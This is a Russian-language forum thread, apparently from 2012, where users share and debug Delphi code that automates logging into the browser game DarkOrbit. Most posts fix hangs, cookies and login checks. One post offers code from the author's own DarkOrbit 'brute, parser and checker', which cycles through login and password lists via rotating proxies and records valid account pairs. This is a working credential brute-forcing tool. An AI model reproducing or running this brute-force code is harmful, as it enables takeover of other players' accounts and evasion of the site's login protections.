PDA

Просмотр полной версии : [Статья] Авторизация дарк орбит(Рабочая)


[Na`Vi]DendI
06.06.2012, 11:40
Авторизация Дарк Орбит с отдельной функцией парса

var ssylka,page,pars1,pars2: String; //объявляем переменные
data: TstringList;

begin
ssylka:='[Ссылки могут видеть только зарегистрированные и активированные пользователи]'; //ссылка авторизации
data:=TstringList.Create; //создаем список
data.Add('loginForm_default_username='+Edit1.Text) ; //ник
data.Add('loginForm_default_password='+Edit2.Text) ; //пароль
data.Add('loginForm_default_login_submit=Вход');
Memo1.Lines.Add('Авторизация...');
page:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи](ssylka,data); //запрос
if Pos('selectInstanceHint',page)<>0 then
Memo1.Lines.Add('Данные введены верно..Входим на сервер')
else
Memo1.Lines.Add('Данные введены не верно!...');
pars1:=pars('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.Text+'.darkorbit.bigpoint.com/GameAPI.php?req=',page,'&ref_pid='); // парсим сервера
pars2:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.text+'.darkorbit.bigpoint.com/GameAPI.php?req='+pars1); // парсим сервера
if Pos('span', pars2) <> 0 then
memo1.lines.add ('Вошли на аккаунт')
else memo1.lines.add ('Не вошли');


end;

function pars(s_, s, _s: string): string; //функция парса
var
p: integer;
_s_: string;
begin
_s_ := copy(s, pos(s_, s) + length(s_), length(s) - pos(s_, s) - length(s_));
p := pos(_s, _s_);
result := copy(_s_, 1, p - 1);
end;

old-z
06.06.2012, 13:37
Программа тупо зависает на месте, и что-то грузит...

Роспотребнадзор
06.06.2012, 13:44
Программа тупо зависает на месте, и что-то грузит...


var i:integer;
begin
for i:=1 to 12 do begin Application.ProcessMessages () ;
end;
end.

Еще попробуй кинуть на форму компонент антифриз из Indy

VeTaL_UA
06.06.2012, 15:10
var i:integer;
begin
for i:=1 to 12 do begin Application.ProcessMessages () ;
end;
end.
Есть три вопроса:
1) Что за бред?
2) Куда ты его вставишь?
3) Почему прокручиваешь цикл только 12 раз?

Steam~
06.06.2012, 23:41
list:=tstringlist.Create;
try
list.Add('loginForm_default_username='+nick);
list.Add('loginForm_default_password='+pass);
s1:=MainForm.id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]',list);

s2:=Copy(s1,Pos('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+serv+'.darkorbit.bigpoint.com/GameAPI.php?req=',s1),length(s1));
Delete(s2,Pos('&ref_pid',s2)-14,length(s2));
s3:=MainForm.id[Ссылки могут видеть только зарегистрированные и активированные пользователи](s2);
finally
list.Free;

так будет попроще , правда тут без проверок , но думаю со временем можно разобраться)

[Na`Vi]DendI
07.06.2012, 08:23
Программа тупо зависает на месте, и что-то грузит...
в Idhttp поставьте значение HandleRedirects true.

VeTaL_UA
07.06.2012, 09:56
DendI;3035226"]в Idhttp поставьте значение HandleRedirects true.
При чём это к зависанию? Без этой галочки тупо выбивало бы ошибку...

[Na`Vi]DendI
07.06.2012, 18:46
При чём это к зависанию? Без этой галочки тупо выбивало бы ошибку...
Да я знаю,но у меня в дел7 был такой баг что при любой ошибке просто висла прога и дельфа)
Так что мне кажется там ошибка)/horror

old-z
08.06.2012, 22:31
DendI;3037827']Да я знаю,но у меня в дел7 был такой баг что при любой ошибке просто висла прога и дельфа)
Так что мне кажется там ошибка)/horror

Я уже разобрался, он у меня был написан, только правда как комментарий, забыл "//" убрать

SuperCheaterPB
16.06.2012, 19:40
pars2:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]');

Но получаю взамен просто главную страницу хотя я уже авторизовался

metra3
17.06.2012, 01:23
pars2:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]');

Но получаю взамен просто главную страницу хотя я уже авторизовался
Привяжи куки к [Ссылки могут видеть только зарегистрированные и активированные пользователи]

SuperCheaterPB
17.06.2012, 11:44
Я привязал куки о все тоже самое.
Может я не правильно это сделал? как правильно их привязывать: кукименеджер в idhttp и компонент на форму?*

metra3
17.06.2012, 21:37
Я привязал куки о все тоже самое.
Может я не правильно это сделал? как правильно их привязывать: кукименеджер в idhttp и компонент на форму?*
да.
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
не забыли?

[Na`Vi]DendI
19.06.2012, 08:51
Но получаю взамен просто главную страницу хотя я уже авторизовался
от куда ты знаешь что получаешь главную страницу ? как проверяешь ?
[Ссылки могут видеть только зарегистрированные и активированные пользователи] поставил ?

D.E.Z.E.R.T.I.R
22.06.2012, 12:36
[Na`Vi]DendI, что за бред? у тебя получается, что даже если данные введены неверно, то все равно программа продолжает попытку авторизации


вот это заменить на это:
if Pos('selectInstanceHint',page)<>0 then
Memo1.Lines.Add('Данные введены верно..Входим на сервер')
else
Memo1.Lines.Add('Данные введены не верно!...');
pars1:=pars('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.Text+'.darkorbit.bigpoint.com/GameAPI.php?req=',page,'&ref_pid='); // парсим сервера
pars2:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.text+'.darkorbit.bigpoint.com/GameAPI.php?req='+pars1); // парсим сервера
if Pos('span', pars2) <> 0 then
memo1.lines.add ('Вошли на аккаунт')
else memo1.lines.add ('Не вошли');

на это:

if Pos('selectInstanceHint',page)=0 then
Memo1.Lines.Add('Данные введены не верно!...')
else begin
Memo1.Lines.Add('Данные введены верно..Входим на сервер');
pars1:=pars('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.Text+'.darkorbit.bigpoint.com/GameAPI.php?req=',page,'&ref_pid='); // парсим сервера
pars2:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.text+'.darkorbit.bigpoint.com/GameAPI.php?req='+pars1); // парсим сервера
if Pos('span', pars2) <> 0 then
memo1.lines.add ('Вошли на аккаунт')
else memo1.lines.add ('Не вошли');
end;

[Na`Vi]DendI
22.06.2012, 12:41
[Na`Vi]DendI, что за бред? у тебя получается, что даже если данные введены неверно, то все равно программа продолжает попытку авторизации


вот это заменить на это:
if Pos('selectInstanceHint',page)<>0 then
Memo1.Lines.Add('Данные введены верно..Входим на сервер')
else
Memo1.Lines.Add('Данные введены не верно!...');
pars1:=pars('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.Text+'.darkorbit.bigpoint.com/GameAPI.php?req=',page,'&ref_pid='); // парсим сервера
pars2:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.text+'.darkorbit.bigpoint.com/GameAPI.php?req='+pars1); // парсим сервера
if Pos('span', pars2) <> 0 then
memo1.lines.add ('Вошли на аккаунт')
else memo1.lines.add ('Не вошли');

на это:

if Pos('selectInstanceHint',page)=0 then
Memo1.Lines.Add('Данные введены не верно!...');
else begin
Memo1.Lines.Add('Данные введены верно..Входим на сервер')
pars1:=pars('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.Text+'.darkorbit.bigpoint.com/GameAPI.php?req=',page,'&ref_pid='); // парсим сервера
pars2:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]'+edit3.text+'.darkorbit.bigpoint.com/GameAPI.php?req='+pars1); // парсим сервера
if Pos('span', pars2) <> 0 then
memo1.lines.add ('Вошли на аккаунт')
else memo1.lines.add ('Не вошли');
end;
Вот ты как раз бред написал,у всех работает мой код,если у тебя что-то не то то значит руки не из того места...

Tip.the.besT
03.07.2012, 19:54
По моему опыту indy исключает возможность корректного использования прокси, так что, добавляю авторизацию darkorbit из некогда находящейся на этом сайте программы - "Брут, парсер и чекер darkorbit.ru V.0.5" - написанной мной. Хочу сказать, что в данном алгоритме требуется подправить условие авторизации и подачу логинов и пассов. А так полностью рабочая авторизация с парой примочек - проверкой конекта, и так по мелочи, в общем внимайте вариант на synapse:

///////////////////////////////////////brut
procedure brut.polubas;
begin
form1.proxy.Lines.Add(proxyip+':'+proxyport);
end;
procedure brut.pris;
var
s:string;
begin
if nomp<=form1.password.Lines.Count-1 then
begin
login:=form1.logins.Lines[noml];
pass:=form1.password.Lines[nomp];
inc(nomp);
begin
s:=form1.proxy.Lines[0];
proxyip:=copy(s,1,pos(':',s)-1);
delete(s,1,pos(':',s));
proxyport:=s;
form1.proxy.Lines.Delete(0);
end;
end else begin
inc(noml);
if noml<=form1.logins.Lines.Count-1 then
begin
nomp:=0;
login:=form1.logins.Lines[noml];
pass:=form1.password.Lines[nomp];
begin
s:=form1.proxy.Lines[0];
proxyip:=copy(s,1,pos(':',s)-1);
delete(s,1,pos(':',s));
proxyport:=s;
form1.proxy.Lines.Delete(0);
end;

end else begin
workbrut:=false;
exit;
end;
end;

end;
procedure brut.add;
begin
form1.gotovo.Lines.Add(login+';'+pass);
end;

procedure brut.Execute;
var
stream:tstringstream;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
list:tstringlist;
b:boolean;
i:integer;
s:string;
begin
b:=true;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
list:=tstringlist.Create;
stream:=tstringstream.Create;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]'Opera/9.80 (Windows NT 6.1; U; MRA 5.10 (build 5308); ru) Presto/2.10.229 Version/11.62';
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

while workbrut=true do
begin

if b=true then begin
synchronize(pris);
end else begin
b:=false;
end;

if workbrut=false then
exit;

[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
i:=1;
for I := 1 to 4 do begin//цикл
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
stream.Clear;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]'application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]';
stream.WriteString('loginForm_default_username='+l ogin+'&loginForm_default_password='+pass+'&loginForm_default_login_submit=Вход');
[Ссылки могут видеть только зарегистрированные и активированные пользователи](stream);
[Ссылки могут видеть только зарегистрированные и активированные пользователи]('post','[Ссылки могут видеть только зарегистрированные и активированные пользователи]');
list.LoadFromStream([Ссылки могут видеть только зарегистрированные и активированные пользователи]); s:=utf8decode(list.Text);
if pos('loginForm_default_username=',s)=0 then
begin
if pos('Выбери сервер, на котором хочешь играть:',s)<>0 then
synchronize(add);
Break;
end;

end;////////цикл

if i<4 then begin
synchronize(polubas);
end else begin b:=true; end;

end;

[Ссылки могут видеть только зарегистрированные и активированные пользователи]
list.Free;
stream.Free;
end;


///////////////////////////////////////brut konec

꞊Krσησs꞊
16.08.2012, 23:15
Мне кажется или все коды нави денди не работают? или работают с ошибками
это if Pos('selectInstanceHint',page)<>0 then
меняем на это
if Pos('instance_1',page)=0 then
и заработает

[Na`Vi]DendI
17.08.2012, 01:59
Мне кажется или все коды нави денди не работают? или работают с ошибками
это if Pos('selectInstanceHint',page)<>0 then
меняем на это
if Pos('instance_1',page)=0 then
и заработает
Все коды работают иначе их бы удалили,посмотри на дату темы,дарк обновили месяц назад /facepalm

VeTaL_UA
17.08.2012, 10:32
Тема закрывается в связи с неактуальностью.